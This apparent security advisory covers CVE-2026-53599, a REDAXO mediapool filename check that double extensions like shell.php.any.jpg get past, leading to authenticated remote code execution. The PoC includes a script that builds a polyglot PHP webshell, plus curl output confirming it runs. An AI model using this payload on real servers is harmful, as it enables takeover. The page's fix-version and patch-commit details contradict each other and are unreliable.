CVE-2026-53599: Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers

Published Jul 31, 2026
·
Updated

Summary rexmediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example shell.php.any.jpg. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named shell.php.any.jpg and, on web servers whose PHP handler matches .php as any segment (modmime AddHandler-style, or any FilesMatch regex without an end anchor), request the file from the public media/ directory to execute arbitrary PHP as the web-server user. The vulnerable check is a regression introduced in commit 9d008697d (PR #6213, Feb 7 2025), which weakened a previously correct strcontains check into a pair of strendswith checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload. The regression has shipped in every release from 5.18.2 through 5.21.0.

Details Root cause At the audited commit 6e0de42, isAllowedExtension performs three checks against the blocked-extension list: php // redaxo/src/addons/mediapool/lib/mediapool.php (104–130) @ 6e0de42 public static function isAllowedExtension(string $filename, array $args = []): bool { $fileExt = mbstrtolower(rexfile::extension($filename)); if ('' === $filename || strcontains($fileExt, ' ') || '' === $fileExt) { return false; } if (strstartswith($fileExt, 'php')) { return false; } $blockedExtensions = self::getBlockedExtensions(); foreach ($blockedExtensions as $blockedExtension) { // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities: // -> some webspaces execute files named file.php.txt as php if (strendswith($filename, '.' . $blockedExtension) || strendswith($filename, '.' . $blockedExtension . '.' . $fileExt) ) { return false; } } $allowedExtensions = self::getAllowedExtensions($args); return !count($allowedExtensions) || inarray($fileExt, $allowedExtensions); } For shell.php.any.jpg: 1. $fileExt is jpg, so strstartswith('jpg', 'php') is false. 2. The loop checks two suffix shapes: - strendswith('shell.php.any.jpg', '.php') — false. - strendswith('shell.php.any.jpg', '.php.jpg') — false, because the actual chain is .php.any.jpg. 3. Default $allowedExtensions is empty (no widget types arg on the main mediapool upload page), so the function returns true. The defensive comment on lines 119–120 explicitly names the threat model the maintainers are guarding against — "some webspaces execute files named file.php.txt as php". The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment. Regression history Prior to commit 9d008697d (PR #6213, Feb 7 2025) the check was: php if (strcontains($filename, '.' . $blockedExtension)) { return false; } strcontains('shell.php.any.jpg', '.php') is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like foo.json (which contains the substring .js), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (foo.js.txt, jsdatei.txt, foo.json) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite. The same weak check is invoked a second time from rexmediapool::filename() during the normalization step, so the bypass also passes the renaming guard. rexstring::normalize($mediaName, '', '.-@') preserves ., -, @ and lowercases the rest, so shell.php.any.jpg survives normalization unchanged.

PoC Reproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit 6e0de42 and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations. Payload Minimal JPEG/PHP polyglot, 188 bytes, MIME-classified as image/jpeg: python buildpolyglot.py jpegheader = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00]) phppayload = b'<?php echo "=== PWNED ===\n"; echo "file: " . FILE . "\n"; echo "cmd output:\n"; $cmd = isset($GET[chr(120)]) ? $GET[chr(120)] : "id"; echo shellexec($cmd); ?>' jpegtail = bytes([0xff,0xd9]) open('shell.php.any.jpg','wb').write(jpegheader + phppayload + jpegtail)

$ file --mime-type shell.php.any.jpg shell.php.any.jpg: image/jpeg Validator output

Expected vulnerable deployment flow:

1. Log in as a backend user with media upload permission. 2. Upload the payload as shell.php.any.jpg. 3. REDAXO accepts the final jpg extension and image/jpeg MIME type, and stores media/shell.php.any.jpg. 4. Request https://victim.example/media/shell.php.any.jpg?x=id. 5. On Apache/modphp-style multi-extension handler mappings, PHP code in the uploaded file executes.

Running the exact isAllowedExtension logic from commit 6e0de42 against the default blockedextensions list from redaxo/src/addons/mediapool/package.yml: isAllowedExtension("shell.php.any.jpg") = TRUE — UPLOAD ACCEPTED HTTP execution test The same file was placed in two Apache vhosts. Vhost A — current Ubuntu/Debian default libapache2-mod-php8.3 config (<FilesMatch ".+\.ph(?:ar|p|tml)$">, $ anchor): $ curl -sS -D - -o body "http://127.0.0.1:8081/shell.php.any.jpg?x=id" HTTP/1.1 200 OK Content-Type: image/jpeg $ file body body: JPEG image data, JFIF standard 1.01 File served as a static JPEG. Not exploitable on this configuration. Vhost B — non-anchored handler match (<FilesMatch "\.ph(?:ar|p|tml)(\.|$)">, equivalent to AddHandler application/x-httpd-php .php behavior under modmime): $ curl -sS "http://127.0.0.1:8082/shell.php.any.jpg?x=id" === PWNED === file: /home/riodrwn/sandbox/docroot/shell.php.any.jpg cmd output: uid=33(www-data) gid=33(www-data) groups=33(www-data) PHP executes as www-data. RCE confirmed.

Impact A backend user holding only the media[upload] permission — the permission that the standard editor role carries — gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.

Other sources

REDAXO is a PHP-based content management system. From 5.18.2 until 5.21.1, rexmediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php lets an authenticated backend user with media[upload] permission upload a JPEG/PHP polyglot named shell.php.any.jpg, which web servers with multi-extension PHP handlers can execute as the web-server user. This issue is fixed in version 5.21.1.

MITRE

Affected Software

2 affected componentsFixes available
REDAXO REDAXO>=5.18.2<=5.21.1
composer/redaxo/source>=5.18.2<5.21.1
5.21.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/redaxo/source to a version that resolves this vulnerability.

    Fixed in 5.21.1
  2. Upgrade

    Upgrade REDAXO mediapool extension validation (redaxo/src/addons/mediapool/lib/mediapool.php) to a version that resolves this vulnerability.

    Fixed in 5.21.1Patch 9d008697d
  3. Compensating control

    On Apache/mod_php deployments, avoid multi-extension PHP handler mappings that can execute files like `shell.php.any.jpg` as PHP (i.e., use anchored `FilesMatch` patterns such as `<FilesMatch ".+\\.ph(?:ar|p|tml)$">` rather than non-anchored handler matches like `<FilesMatch "\\.ph(?:ar|p|tml)(\\.|$)">`).

Event History

Jul 31, 2026
CVE Published
via MITRE·07:43 PM
Data Sourced
via MITRE·07:43 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:43 PM
Data Sourced
via GitHub·07:43 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-53599?

The severity of CVE-2026-53599 is high with a score of 7.5.

2

What type of vulnerability is represented by CVE-2026-53599?

CVE-2026-53599 is a malicious file upload vulnerability that allows authenticated RCE.

3

How do I fix CVE-2026-53599?

To fix CVE-2026-53599, upgrade REDAXO to version 5.21.2 or later, which addresses this vulnerability.

4

What is the risk associated with CVE-2026-53599?

CVE-2026-53599 has a risk score of 70, indicating a significant potential for exploitation.

5

Who is affected by CVE-2026-53599?

CVE-2026-53599 affects users of REDAXO versions 5.18.2 through 5.21.1 where authenticated backend users can exploit the vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203